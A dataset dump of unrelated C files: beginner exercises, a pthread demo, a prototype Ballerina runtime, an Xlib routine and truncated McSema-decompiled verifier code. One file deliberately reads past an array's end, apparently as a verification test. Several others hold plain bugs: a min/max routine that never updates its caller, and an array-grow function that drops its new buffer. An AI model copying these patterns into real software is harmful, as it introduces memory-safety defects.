file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
|---|---|
the_stack_data/57030.c | #include <stdio.h>
void minmax(int *, int, int *, int *);
int main() {
int size;
int arr[500];
int *min = 0, *max = 0;
scanf("%d", &size);
for(int i = 0; i < size; i++) {
scanf("%d", &arr[i]);
}
min = &arr[0];
max = &arr[0];
minmax(arr, size, min, max);
return 0;
}
void minmax(int *arr, int size, int *min, int *max) {
for(int i = 0; i < size; i++) {
if(*min > arr[i]){
min = &arr[i];
}
if(*max < arr[i]){
max = &arr[i];
}
}
printf("%d", *max + *min);
}
|
the_stack_data/70776.c | int
main(void)
{
int matrix[2][2];
int *ptr = &matrix[0][0];
return *(ptr + 4);
}
|
the_stack_data/600.c | /*Exercise 3 - Repetition
Write a C program to calculate the sum of the numbers from 1 to n.
Where n is a keyboard input.
e.g.
n -> 100
sum = 1+2+3+....+ 99+100 = 5050
n -> 1-
sum = 1+2+3+...+10 = 55 */
#include <stdio.h>
int main() {
int n,i;
int sum=0;
printf("Enter the value of n : ");
scanf("%d",&n); //get user input
for(i=0;i<=n;i++)
sum+=i;
printf("Sum is %d",sum);
return 0;
} //end main function
|
the_stack_data/84783.c | #include <stdio.h>
void troca_valor(int x, int y) {
int c = x;
x = y;
y = c;
printf("x depois da troca: %i \ty depois da troca: %i",x,y);
}
void troca_referencia(int *x, int *y){
int c = *x;
*x = *y;
*y = c;
}
void soma_valor(int x, int y){
printf("a soma de %i e %i e igual a: %i",x,y, (x + y));
}
void somaProd_valor(int x, int y){
printf("a soma de %i e %i e igual a: %i\n",x,y, (x + y));
printf("a multiplicacao de %i e %i e igual a: %i\n",x,y, (x * y));
}
int main(){
int x, y = 0;
printf("Digite dois numeros ");
scanf("%i %i", &x, &y);
printf("\ntroca por valor \n\n");
printf("x antes da troca: %i \ty antes da troca: %i\t", x, y);
troca_valor(x, y);
printf("\n\n troca por referencia:\n\n");
printf("x antes da troca: %i \ty antes da troca: %i\t", x, y);
troca_referencia(&x,&y);
printf("x depois da troca: %i \ty depois da troca: %i",x,y);
printf("\n\n soma dos dois valores por passagem de valor(2 questao):\n");
soma_valor(x, y);
printf("\n\n produto e soma dos valores por passagem de valor(3 questao):\n");
somaProd_valor(x, y);
return 0;
}
|
the_stack_data/956313.c | #include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define NUM_OF_TASKS 5
void *downloadfile(void *filename) {
printf("I am downloading the file %s!\n", (char *) filename);
sleep(rand() % 10);
long downloadtime = rand() % 100;
printf("I finish downloading the file within %d minutes!\n", downloadtime);
pthread_exit((void *) downloadtime);
}
int main(int argc, char *argv[]) {
char files[NUM_OF_TASKS][20] = {"file1.avi", "file2.rmvb", "file3.mp4", "file4.wmv", "file5.flv"};
pthread_t threads[NUM_OF_TASKS];
int rc;
int t;
int downloadtime;
pthread_attr_t thread_attr;
pthread_attr_init(&thread_attr);
pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_JOINABLE);
for (t = 0; t < NUM_OF_TASKS; t++) {
printf("creating thread %d, please help me to download %s\n", t, files[t]);
rc = pthread_create(&threads[t], &thread_attr, downloadfile, (void *) files[t]);
if (rc) {
printf("ERROR; return code from pthread_create() is %d\n", rc);
exit(-1);
}
}
pthread_attr_destroy(&thread_attr);
for (t = 0; t < NUM_OF_TASKS; t++) {
pthread_join(threads[t], (void **) &downloadtime);
printf("Thread %d downloads the file %s in %d minutes.\n", t, files[t], downloadtime);
}
pthread_exit(NULL);
}
|
the_stack_data/117327557.c | /* Prototype of runtime for nBallerina */
/*
Assume (for now):
1. NoGC memory management - malloc and never free
2. No exceptions: panic aborts
*/
#include <assert.h>
#include <limits.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _MSC_VER
// MSC does not support aligned_alloc
// _aligned_malloc is like aligned_alloc except that
// the allocated memory has to be freed with _aligned_free
// Since we're not freeing anything, this doesn't affect us
#define aligned_alloc(a, n) _aligned_malloc(n, a)
#include <intrin.h>
#define __builtin_popcount __popcnt
#endif
// Uniform type tag
// Uniform types are like basic types, except that selectively immutable basic types are
// split into mutable and readonly uniform types.
typedef enum {
UTYPE_NIL,
UTYPE_BOOLEAN,
UTYPE_INT,
UTYPE_STRING,
UTYPE_OBJECT_RO,
UTYPE_LIST_RW,
UTYPE_MAPPING_RW
} BalUTypeTag;
// nil is never boxed
#define HEADER_TAG_UNINIT UTYPE_NIL
// Types
typedef struct {
// These are from BalUTypeTag
// Not declared as UType, because we want it to be a uint8_t
uint8_t tag;
uint8_t gc_reserved;
uint16_t spare1;
uint32_t spare2;
} BalHeader, *BalHeaderPtr;
// Bottom 3 bits of BalValue are a tag
// 000 means a pointer to a BalHeader
// XX1 means all but low bit is a signed integer
// 010 means nil
// 110 means a boolean (next bit is whether true or false)
// 100 is spare
#define IMMED_TAG_MASK 0b111
#define IMMED_TAG_PTR 0b000
#define IMMED_TAG_BOOLEAN 0b110
// This bit is set to indicate that an immed value is an integer
#define IMMED_FLAG_INT 0b1
#define IMMED_TAG_NIL 0b010
#define IMMED_VALUE_NIL IMMED_TAG_NIL
#define IMMED_VALUE_FALSE IMMED_TAG_BOOLEAN
#define IMMED_FLAG_BOOLEAN 0b1000
#define IMMED_VALUE_TRUE (IMMED_TAG_BOOLEAN|IMMED_FLAG_BOOLEAN)
// Range of int that can stored directly within a BalValue
#define IMMED_INT_MAX (INTPTR_MAX >> 1)
#define IMMED_INT_MIN (INTPTR_MIN >> 1)
typedef union {
// if immed is 0, not a valid value
intptr_t immed;
BalHeaderPtr ptr;
} BalValue;
// Not a Ballerina value
#define BAL_NULL ((BalValue){.ptr = 0})
// A BalType is a union of int:Unsigned32 and a BalComplexTypePtr.
// The former case represents a type that is union of zero or
// more complete uniform types.
// The latter is a Ballerina object representing more complex cases.
// BalType is the basis for runtime type checking.
// Note this represents a type not a type descriptor.
// Fast path is implemented in native code;
// more complex cases are implemented in Ballerina by the runtime library.
typedef BalValue BalType;
typedef struct {
BalHeader header;
int64_t value;
} BalInt, *BalIntPtr;
typedef struct {
BalHeader header;
size_t n_bytes;
size_t n_code_points;
// not zero-terminated
uint8_t bytes[];
} BalString, *BalStringPtr;
typedef struct {
BalHeader header;
// XXX something for annotations
BalType type;
} BalTypeDesc, *BalTypeDescPtr;
// A class is a kind of typedesc
// XXX it needs additional fields describing the class
typedef BalTypeDescPtr BalClassPtr;
typedef struct {
BalHeader header;
BalClassPtr cls;
// Object fields follow immediately
// Layout determined by class
} BalObject, *BalObjectPtr;
typedef struct {
BalStringPtr key;
BalValue value;
} BalHashEntry;
#define LOAD_FACTOR 0.6f
#define HASH_TABLE_MIN_SIZE 8
#define ARRAY_MIN_SIZE 4
// This representation is only used
// for RW maps with no individual type descriptors
typedef struct {
BalHeader header;
BalType memberType;
// how many of entries are used
size_t used;
// used must be < capacity
// capacity = LOAD_FACTOR * n_entries
size_t capacity;
// always a power of 2
// length of entries array
size_t n_entries;
BalHashEntry *entries;
} BalMap, *BalMapPtr;
// This representation is only used
// for RW maps with no individual type descriptors
typedef struct {
BalHeader header;
BalType memberType;
// length of the array
size_t length;
// allocated size
size_t capacity;
// may be null if capacity is 0
BalValue *values;
} BalArray, *BalArrayPtr;
// This needs to match the Ballerina definition
// in the Ballerina part of the runtime library.
// This will be a read-only object
// This corresponds to ComplexSemType in this file:
// https://github.com/jclark/semtype/blob/master/modules/core/core.bal
typedef struct {
BalObject obj; // header common to all objects
// A bit vector representing a set of uniform types.
// It contains a uniform type iff this type contains all of the uniform type.
uint32_t all;
// A bit vector representing a set of uniform types.
// It contains a uniform type iff this complex type contains some, but not all, of the uniform type.
uint32_t some;
// This array has one entry for each bit that is set in `some`.
// The entry contains data describing the subtype of the uniform type that is contained in this complex type.
// The data is a BalValue and its format depends on which uniform type it is.
// The entries are in increasing order of uniform type tag.
BalArrayPtr subtypeData; // XXX should be read-only
} BalComplexType, *BalComplexTypePtr;
// Function declarations
BalMapPtr bal_map_create(size_t min_capacity, BalType memberType);
void bal_map_init(BalMapPtr map, size_t min_capacity);
void bal_map_insert(BalMapPtr map, BalStringPtr key, BalValue value);
void bal_map_insert_unsafe(BalMapPtr map, BalStringPtr key, BalValue value);
void bal_map_insert_with_hash(BalMapPtr map, BalStringPtr key, BalValue value, unsigned long hash);
void bal_map_grow(BalMapPtr map);
BalValue bal_map_lookup(BalMapPtr map, BalStringPtr key);
BalValue bal_map_lookup_with_hash(BalMapPtr map, BalStringPtr key, unsigned long hash);
unsigned long bal_string_hash(BalStringPtr s);
BalArrayPtr bal_array_create(size_t capacity, BalType memberType);
BalValue bal_array_get(BalArrayPtr array, int64_t index);
void bal_array_push(BalArrayPtr array, BalValue value);
void bal_array_grow(BalArrayPtr array);
BalStringPtr bal_string_create_ascii(char *s);
bool bal_string_equals(BalStringPtr s1, BalStringPtr s2);
BalValue bal_int_create(int64_t n);
bool bal_value_has_complex_type(BalValue v, BalComplexTypePtr tp);
bool bal_usubtype_contains(BalUTypeTag tag, BalValue subtypeData, BalValue value);
// All allocations go through one of these
#define ALLOC_FIXED_VALUE(T) ((T*)alloc_value(sizeof(T)))
BalHeader *alloc_value(size_t n_bytes);
void *alloc_array(size_t n_members, size_t member_size);
#define panic(msg) assert(0 && (msg))
// Inline functions
inline BalValue bal_immediate(intptr_t immed) {
BalValue v = { .immed = immed };
return v;
}
inline BalValue bal_pointer(BalHeaderPtr ptr) {
BalValue v = { .ptr = ptr };
return v;
}
inline bool bal_value_is_boolean(BalValue v) {
return (v.immed & IMMED_TAG_MASK) == IMMED_TAG_BOOLEAN;
}
inline bool bal_value_is_nil(BalValue v) {
return v.immed == IMMED_VALUE_NIL;
}
inline bool bal_value_is_true(BalValue v) {
return v.immed == IMMED_VALUE_TRUE;
}
inline bool bal_value_is_false(BalValue v) {
return v.immed == IMMED_VALUE_FALSE;
}
inline BalUTypeTag bal_value_utype_tag(BalValue v) {
int tag = v.immed & IMMED_TAG_MASK;
if (tag == IMMED_TAG_PTR) {
return v.ptr->tag;
}
// Don't use ?: for this
// clang optimizes less well
if (tag == IMMED_TAG_NIL) {
return UTYPE_NIL;
}
if (tag == IMMED_TAG_BOOLEAN) {
return UTYPE_BOOLEAN;
}
return UTYPE_INT;
}
inline bool bal_value_has_type(BalValue v, BalType t) {
if (t.immed & IMMED_FLAG_INT) {
// We need to add 1 to the tag, because an immediate int is shifted left 1
return (t.immed & (1 << (1 + bal_value_utype_tag(v)))) != 0;
}
// Since it's the union of int:Unsigned32 and an object
// the int must be immediate
assert(bal_value_utype_tag(v) == UTYPE_OBJECT_RO);
return bal_value_has_complex_type(v, (BalComplexTypePtr)t.ptr);
}
inline BalType bal_type_from_utype_tag(BalUTypeTag tag) {
// Add 1 because an immediate int is shifted left 1
return bal_immediate((1 << (tag + 1)) | IMMED_FLAG_INT);
}
inline bool bal_value_is_int(BalValue v) {
if (v.immed & IMMED_FLAG_INT) {
return true;
}
if ((v.immed & IMMED_TAG_MASK) == 0) {
return v.ptr->tag == UTYPE_INT;
}
return false;
}
inline bool bal_value_is_mapping(BalValue v) {
return (v.immed & IMMED_TAG_MASK) == IMMED_TAG_PTR && v.ptr->tag == UTYPE_MAPPING_RW;
}
inline bool bal_value_is_list(BalValue v) {
return (v.immed & IMMED_TAG_MASK) == IMMED_TAG_PTR && v.ptr->tag == UTYPE_LIST_RW;
}
inline BalValue bal_nil() {
return bal_immediate(IMMED_VALUE_NIL);
}
inline BalValue bal_false() {
return bal_immediate(IMMED_VALUE_FALSE);
}
inline BalValue bal_true() {
return bal_immediate(IMMED_VALUE_TRUE);
}
// This assumes v represents an int
// If it doesn't, then it gets an assertion failure
// or undefined behaviour if assertions are violated
int64_t bal_value_to_int_unsafe(BalValue v) {
if ((v.immed & IMMED_TAG_MASK) == 0) {
assert(v.ptr->tag == UTYPE_INT);
return ((BalIntPtr)v.ptr)->value;
}
assert(v.immed & IMMED_FLAG_INT);
return v.immed >> 1;
}
inline BalValue bal_int(int64_t i) {
if (IMMED_INT_MIN <= i && i <= IMMED_INT_MAX) {
return bal_immediate(((intptr_t)i << 1) | IMMED_FLAG_INT);
}
return bal_int_create(i);
}
inline bool bal_value_is_byte(BalValue v) {
return (v.immed & IMMED_FLAG_INT) && (uintptr_t)v.immed <= 0x1FF;
}
inline BalValue bal_byte(uint8_t i) {
return bal_immediate((i << 1) | IMMED_FLAG_INT);
}
inline uint8_t bal_value_to_byte_unsafe(BalValue v) {
assert((uintptr_t)v.immed <= 0x1FF && (v.immed & IMMED_FLAG_INT));
return (uint8_t)(v.immed >> 1);
}
// Implementation
BalMapPtr bal_map_create(size_t min_capacity, BalType memberType) {
// Want n_entries * LOAD_FACTOR > capacity
BalMapPtr map = ALLOC_FIXED_VALUE(BalMap);
bal_map_init(map, min_capacity);
map->header.tag = UTYPE_MAPPING_RW;
map->memberType = memberType;
return map;
}
void bal_map_init(BalMapPtr map, size_t min_capacity) {
map->used = 0;
size_t n = HASH_TABLE_MIN_SIZE;
while ((size_t)(n * LOAD_FACTOR) < min_capacity) {
n <<= 1;
assert(n != 0);
}
map->capacity = (size_t)(n * LOAD_FACTOR);
assert(map->capacity >= min_capacity);
// printf("Creating map for capacity %ld with n_entries %ld\n", map->capacity,
// n);
map->n_entries = n;
map->entries = alloc_array(map->n_entries, sizeof(BalHashEntry));
}
void bal_map_insert(BalMapPtr map, BalStringPtr key, BalValue value) {
if (!bal_value_has_type(value, map->memberType))
panic("inherent type violation");
bal_map_insert_unsafe(map, key, value);
}
void bal_map_insert_unsafe(BalMapPtr map, BalStringPtr key, BalValue value) {
bal_map_insert_with_hash(map, key, value, bal_string_hash(key));
}
void bal_map_insert_with_hash(BalMapPtr map, BalStringPtr key, BalValue value, unsigned long hash) {
size_t i = hash & (map->n_entries - 1);
assert(i >= 0 && i < map->n_entries);
BalHashEntry *entries = map->entries;
for (;;) {
if (entries[i].key == 0) {
break;
}
if (bal_string_equals(key, entries[i].key)) {
entries[i].value = value;
return;
}
if (i > 0) {
--i;
} else {
i = map->n_entries - 1;
}
}
entries[i].value = value;
entries[i].key = key;
assert(map->used < map->n_entries);
map->used += 1;
if (map->used >= map->capacity) {
bal_map_grow(map);
}
}
void bal_map_grow(BalMapPtr map) {
BalMap nMap;
bal_map_init(&nMap, map->used + 1);
// printf("Growing from %ld to %ld\n", map->capacity, nMap->capacity);
BalHashEntry *entries = map->entries;
size_t n = map->n_entries;
for (size_t i = 0; i < n; i++) {
if (entries[i].key != 0) {
bal_map_insert_unsafe(&nMap, entries[i].key, entries[i].value);
}
}
map->used = nMap.used;
map->capacity = nMap.capacity;
map->n_entries = nMap.n_entries;
map->entries = nMap.entries;
}
BalValue bal_map_lookup(BalMapPtr map, BalStringPtr key) {
return bal_map_lookup_with_hash(map, key, bal_string_hash(key));
}
bool bal_string_equals(BalStringPtr s1, BalStringPtr s2) {
if (s1 == s2) {
return true;
}
if (s1->n_bytes != s2->n_bytes) {
return false;
}
return memcmp(s1->bytes, s2->bytes, s1->n_bytes) == 0;
}
// Returns BAL_NULL if not found
BalValue bal_map_lookup_with_hash(BalMapPtr map, BalStringPtr key, unsigned long hash) {
size_t i = hash & (map->n_entries - 1);
assert(i >= 0 && i < map->n_entries);
BalHashEntry *entries = map->entries;
for (;;) {
if (entries[i].key == 0) {
return BAL_NULL;
}
if (bal_string_equals(key, entries[i].key)) {
return entries[i].value;
}
if (i > 0) {
--i;
} else {
i = map->n_entries - 1;
}
}
}
BalArrayPtr bal_array_create(size_t capacity, BalType memberType) {
BalArrayPtr array = ALLOC_FIXED_VALUE(BalArray);
array->capacity = capacity;
array->length = 0;
array->values = capacity == 0 ? (void *)0 : alloc_array(capacity, sizeof(BalValue));
array->header.tag = UTYPE_LIST_RW;
array->memberType = memberType;
return array;
}
BalValue bal_array_get(BalArrayPtr array, int64_t index) {
if (index < 0 || (uint64_t)index >= array->length) {
panic("array index out of bounds");
}
return array->values[(size_t)index];
}
void bal_array_push(BalArrayPtr array, BalValue value) {
if (!bal_value_has_type(value, array->memberType))
panic("inherent type violation");
if (array->length >= array->capacity) {
bal_array_grow(array);
}
array->values[array->length] = value;
array->length += 1;
}
void bal_array_grow(BalArrayPtr array) {
size_t capacity = array->capacity;
if (capacity == 0) {
capacity = ARRAY_MIN_SIZE;
}
else {
capacity <<= 1;
// catch overflow
assert(capacity != 0);
}
BalValue *values = alloc_array(capacity, sizeof(BalValue));
if (array->values != NULL) {
// we assume alloc_array will have failed if capacity*sizeof(BalValue) exceeds a size_t
memcpy(values, array->values, sizeof(BalValue)*array->length);
}
array->capacity = capacity;
}
// DJB2 hash function
unsigned long bal_string_hash(BalStringPtr s) {
unsigned long hash = 5381;
size_t n = s->n_bytes;
unsigned char *p = s->bytes;
while (n-- > 0) {
hash = hash * 33 + *p++;
}
return hash;
}
// Only use if you know that every byte is <= 127
BalStringPtr bal_string_create_ascii(char *s) {
size_t len = strlen(s);
BalStringPtr str = (BalStringPtr)alloc_value(sizeof(BalString) + len);
memcpy(str->bytes, s, len);
str->n_bytes = len;
str->n_code_points = len;
str->header.tag = UTYPE_STRING;
return str;
}
BalValue bal_int_create(int64_t i) {
BalIntPtr ip = ALLOC_FIXED_VALUE(BalInt);
ip->value = i;
ip->header.tag = UTYPE_INT;
return bal_pointer(&(ip->header));
}
inline int bitCount(uint32_t bits) {
// This needs -march=ivybridge to get it to use the instruction
return __builtin_popcount(bits);
}
bool bal_value_has_complex_type(BalValue v, BalComplexTypePtr tp) {
BalUTypeTag tag = bal_value_utype_tag(v);
uint32_t flag = 1 << tag;
if (tp->all & flag) {
return true;
}
if ((tp->some & flag) == 0) {
return false;
}
int i = bitCount((flag - 1) & tp->some);
return bal_usubtype_contains(tag, tp->subtypeData->values[i], v);
}
// Tells whether subtype of a uniform type contains a value
// tag is the uniform type tag
// subtypeData describes the subtype of the uniform type tag
// in a uniform type dependent way.
// This should index into an array of functions, each of which is
// implemented in Ballerina or C
// We know that `value` has the uniform type `tag`.
bool bal_usubtype_contains(BalUTypeTag tag, BalValue subtypeData, BalValue value) {
// XXX This needs to call out to Ballerina code
return true;
}
BalHeaderPtr alloc_value(size_t n_bytes) {
void *mem = aligned_alloc(8, n_bytes);
assert(mem != 0);
BalHeaderPtr h = mem;
h->tag = HEADER_TAG_UNINIT;
return h;
}
void *alloc_array(size_t n_members, size_t member_size) {
void *mem = calloc(n_members, member_size);
assert(mem != 0);
return mem;
}
// Testing
#define test_int_roundtrip(i) assert((i) == bal_value_to_int_unsafe(bal_int(i)))
void test_int() {
test_int_roundtrip(0);
test_int_roundtrip(1);
test_int_roundtrip(2);
test_int_roundtrip(3);
test_int_roundtrip(100);
test_int_roundtrip(1024);
test_int_roundtrip(-1);
test_int_roundtrip(-2);
test_int_roundtrip(-3);
test_int_roundtrip(-4611686018427387906);
test_int_roundtrip(-4611686018427387905);
test_int_roundtrip(-4611686018427387904);
test_int_roundtrip(0x3FFFFFFFFFFFFFFF - 1);
test_int_roundtrip(0x3FFFFFFFFFFFFFFF);
test_int_roundtrip(0x3FFFFFFFFFFFFFFF + 1);
}
void test_map() {
char buf[32];
BalMapPtr map = bal_map_create(42, bal_type_from_utype_tag(UTYPE_STRING));
printf("Inserting\n");
for (int i = 0; i < 1000000; i++) {
sprintf(buf, "str%i", i);
BalStringPtr s = bal_string_create_ascii(buf);
BalValue val = {.ptr = &(s->header)};
bal_map_insert(map, s, val);
// printf("Inserted %d\n", i);
}
printf("Looking up\n");
for (int i = 0; i < 1000000; i++) {
sprintf(buf, "str%i", i);
BalStringPtr s = bal_string_create_ascii(buf);
BalValue val = bal_map_lookup(map, s);
assert(bal_string_equals((BalStringPtr)val.ptr, s));
}
printf("End\n");
}
int main() {
printf("Testing map\n");
test_map();
printf("Testing int\n");
test_int();
return 0;
}
|
the_stack_data/165767060.c | /*
Copyright 1991, 1998 The Open Group
Permission to use, copy, modify, distribute, and sell this software and its
documentation for any purpose is hereby granted without fee, provided that
the above copyright notice appear in all copies and that both that
copyright notice and this permission notice appear in supporting
documentation.
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
Except as contained in this notice, the name of The Open Group shall
not be used in advertising or otherwise to promote the sale, use or
other dealings in this Software without prior written authorization
from The Open Group.
*/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <X11/Xlibint.h>
#include <X11/Xutil.h>
#include <X11/Xatom.h>
#include <X11/Xlocale.h>
void
XmbSetWMProperties (
Display *dpy,
Window w,
_Xconst char *windowName,
_Xconst char *iconName,
char **argv,
int argc,
XSizeHints *sizeHints,
XWMHints *wmHints,
XClassHint *classHints)
{
XTextProperty wname, iname;
XTextProperty *wprop = NULL;
XTextProperty *iprop = NULL;
if (windowName &&
XmbTextListToTextProperty(dpy, (char**)&windowName, 1,
XStdICCTextStyle, &wname) >= Success)
wprop = &wname;
if (iconName &&
XmbTextListToTextProperty(dpy, (char**)&iconName, 1,
XStdICCTextStyle, &iname) >= Success)
iprop = &iname;
XSetWMProperties(dpy, w, wprop, iprop, argv, argc,
sizeHints, wmHints, classHints);
if (wprop)
Xfree((char *)wname.value);
if (iprop)
Xfree((char *)iname.value);
/* Note: The WM_LOCALE_NAME property is set by XSetWMProperties. */
}
|
the_stack_data/43583.c | /* Provide Declarations */
#include <stdarg.h>
#include <setjmp.h>
#include <limits.h>
#include <stdint.h>
struct l_struct_struct_OC_uint64v8_t;
struct l_struct_union_OC_vec512_t;
struct l_struct_union_OC_VectorReg;
struct l_struct_struct_OC_ArithFlags;
struct l_struct_union_OC_SegmentSelector;
struct l_struct_struct_OC_Segments;
struct l_struct_struct_OC_Reg;
struct l_struct_struct_OC_AddressSpace;
struct l_struct_struct_OC_GPR;
struct l_struct_struct_OC_anon_OC_3;
struct l_struct_struct_OC_X87Stack;
struct l_struct_struct_OC_uint64v1_t;
struct l_struct_union_OC_vec64_t;
struct l_struct_struct_OC_anon_OC_4;
struct l_struct_struct_OC_MMX;
struct l_struct_struct_OC_FPUStatusFlags;
struct l_struct_union_OC_FPUAbridgedTagWord;
struct l_struct_union_OC_FPUControlStatus;
struct l_struct_struct_OC_float80_t;
struct l_struct_union_OC_anon_OC_11;
struct l_struct_struct_OC_FPUStackElem;
struct l_struct_struct_OC_uint128v1_t;
struct l_struct_union_OC_vec128_t;
struct l_struct_struct_OC_FpuFXSAVE;
/* Types Definitions */
struct l_array_8_ureplace_u8int {
int array[8];
};
struct l_struct___bss_start_type {
struct l_array_8_ureplace_u8int field0;
} ;
struct l_struct_union_OC_anon {
int field0;
};
struct l_struct_struct_OC_ArchState {
int field0;
int field1;
struct l_struct_union_OC_anon field2;
};
struct l_array_8_ureplace_u64int {
int array[8];
};
struct l_struct_struct_OC_uint64v8_t {
struct l_array_8_ureplace_u64int field0;
};
struct l_struct_union_OC_vec512_t {
struct l_struct_struct_OC_uint64v8_t field0;
};
struct l_struct_union_OC_VectorReg {
struct l_struct_union_OC_vec512_t field0;
};
struct l_array_32_struct_AC_l_struct_union_OC_VectorReg {
struct l_struct_union_OC_VectorReg array[32];
};
struct l_struct_struct_OC_ArithFlags {
int field0;
int field1;
int field2;
int field3;
int field4;
int field5;
int field6;
int field7;
int field8;
int field9;
int field10;
int field11;
int field12;
int field13;
int field14;
int field15;
};
struct l_struct_union_OC_SegmentSelector {
int field0;
};
struct l_struct_struct_OC_Segments {
int field0;
struct l_struct_union_OC_SegmentSelector field1;
int field2;
struct l_struct_union_OC_SegmentSelector field3;
int field4;
struct l_struct_union_OC_SegmentSelector field5;
int field6;
struct l_struct_union_OC_SegmentSelector field7;
int field8;
struct l_struct_union_OC_SegmentSelector field9;
int field10;
struct l_struct_union_OC_SegmentSelector field11;
};
struct l_struct_struct_OC_Reg {
struct l_struct_union_OC_anon field0;
};
struct l_struct_struct_OC_AddressSpace {
int field0;
struct l_struct_struct_OC_Reg field1;
int field2;
struct l_struct_struct_OC_Reg field3;
int field4;
struct l_struct_struct_OC_Reg field5;
int field6;
struct l_struct_struct_OC_Reg field7;
int field8;
struct l_struct_struct_OC_Reg field9;
int field10;
struct l_struct_struct_OC_Reg field11;
};
struct l_struct_struct_OC_GPR {
int field0;
struct l_struct_struct_OC_Reg field1;
int field2;
struct l_struct_struct_OC_Reg field3;
int field4;
struct l_struct_struct_OC_Reg field5;
int field6;
struct l_struct_struct_OC_Reg field7;
int field8;
struct l_struct_struct_OC_Reg field9;
int field10;
struct l_struct_struct_OC_Reg field11;
int field12;
struct l_struct_struct_OC_Reg field13;
int field14;
struct l_struct_struct_OC_Reg field15;
int field16;
struct l_struct_struct_OC_Reg field17;
int field18;
struct l_struct_struct_OC_Reg field19;
int field20;
struct l_struct_struct_OC_Reg field21;
int field22;
struct l_struct_struct_OC_Reg field23;
int field24;
struct l_struct_struct_OC_Reg field25;
int field26;
struct l_struct_struct_OC_Reg field27;
int field28;
struct l_struct_struct_OC_Reg field29;
int field30;
struct l_struct_struct_OC_Reg field31;
int field32;
struct l_struct_struct_OC_Reg field33;
};
struct l_struct_struct_OC_anon_OC_3 {
int field0;
double field1;
};
struct l_array_8_struct_AC_l_struct_struct_OC_anon_OC_3 {
struct l_struct_struct_OC_anon_OC_3 array[8];
};
struct l_struct_struct_OC_X87Stack {
struct l_array_8_struct_AC_l_struct_struct_OC_anon_OC_3 field0;
};
struct l_array_1_ureplace_u64int {
int array[1];
};
struct l_struct_struct_OC_uint64v1_t {
struct l_array_1_ureplace_u64int field0;
};
struct l_struct_union_OC_vec64_t {
struct l_struct_struct_OC_uint64v1_t field0;
};
struct l_struct_struct_OC_anon_OC_4 {
int field0;
struct l_struct_union_OC_vec64_t field1;
};
struct l_array_8_struct_AC_l_struct_struct_OC_anon_OC_4 {
struct l_struct_struct_OC_anon_OC_4 array[8];
};
struct l_struct_struct_OC_MMX {
struct l_array_8_struct_AC_l_struct_struct_OC_anon_OC_4 field0;
};
struct l_array_4_ureplace_u8int {
int array[4];
};
struct l_struct_struct_OC_FPUStatusFlags {
int field0;
int field1;
int field2;
int field3;
int field4;
int field5;
int field6;
int field7;
int field8;
int field9;
int field10;
int field11;
int field12;
int field13;
int field14;
int field15;
int field16;
int field17;
int field18;
int field19;
struct l_array_4_ureplace_u8int field20;
};
struct l_struct_union_OC_FPUAbridgedTagWord {
int field0;
};
struct l_struct_union_OC_FPUControlStatus {
int field0;
};
struct l_array_10_ureplace_u8int {
int array[10];
};
struct l_struct_struct_OC_float80_t {
struct l_array_10_ureplace_u8int field0;
};
struct l_struct_union_OC_anon_OC_11 {
struct l_struct_struct_OC_float80_t field0;
};
struct l_array_6_ureplace_u8int {
int array[6];
};
struct l_struct_struct_OC_FPUStackElem {
struct l_struct_union_OC_anon_OC_11 field0;
struct l_array_6_ureplace_u8int field1;
};
struct l_array_8_struct_AC_l_struct_struct_OC_FPUStackElem {
struct l_struct_struct_OC_FPUStackElem array[8];
};
struct l_array_96_ureplace_u8int {
int array[96];
};
struct l_struct_struct_OC_SegmentShadow {
struct l_struct_union_OC_anon field0;
int field1;
int field2;
};
struct l_struct_struct_OC_SegmentCaches {
struct l_struct_struct_OC_SegmentShadow field0;
struct l_struct_struct_OC_SegmentShadow field1;
struct l_struct_struct_OC_SegmentShadow field2;
struct l_struct_struct_OC_SegmentShadow field3;
struct l_struct_struct_OC_SegmentShadow field4;
struct l_struct_struct_OC_SegmentShadow field5;
};
struct l_struct_struct_OC_State {
struct l_struct_struct_OC_ArchState field0;
struct l_array_32_struct_AC_l_struct_union_OC_VectorReg field1;
struct l_struct_struct_OC_ArithFlags field2;
struct l_struct_union_OC_anon field3;
struct l_struct_struct_OC_Segments field4;
struct l_struct_struct_OC_AddressSpace field5;
struct l_struct_struct_OC_GPR field6;
struct l_struct_struct_OC_X87Stack field7;
struct l_struct_struct_OC_MMX field8;
struct l_struct_struct_OC_FPUStatusFlags field9;
struct l_struct_union_OC_anon field10;
struct l_struct_struct_OC_SegmentCaches field12;
};
/* External Global Variable Declarations */
/* Function Declarations */
void* sub_401111_main(struct l_struct_struct_OC_State*, int, void*) ;
void* sub_401106___VERIFIER_nondet_int(struct l_struct_struct_OC_State*, int, void*) ;
void __mcsema_constructor(void) ;
void __mcsema_destructor(void) ;
/* Global Variable Definitions and Initialization */
struct l_struct___bss_start_type __bss_start;
/* LLVM Intrinsic Builtin Function Bodies */
static int llvm_select_u64(int condition, int iftrue, int ifnot) {
int r;
r = condition ? iftrue : ifnot;
return r;
}
static int llvm_add_u32(int a, int b) {
int r = a + b;
return r;
}
static int llvm_add_u64(int a, int b) {
int r = a + b;
return r;
}
static int llvm_lshr_u32(int a, int b) {
int r = a >> b;
return r;
}
static int llvm_lshr_u64(int a, int b) {
int r = a >> b;
return r;
}
static int llvm_and_u8(int a, int b) {
int r = a & b;
return r;
}
static int llvm_xor_u8(int a, int b) {
int r = a ^ b;
return r;
}
static int llvm_OC_ctpop_OC_i32(int a) {
int r;
r = LLVMCountPopulation(8 * sizeof(a), &a);
return r;
}
/* Function Bodies */
void* sub_401111_main(struct l_struct_struct_OC_State* tmp__1, int tmp__2, void* tmp__3) {
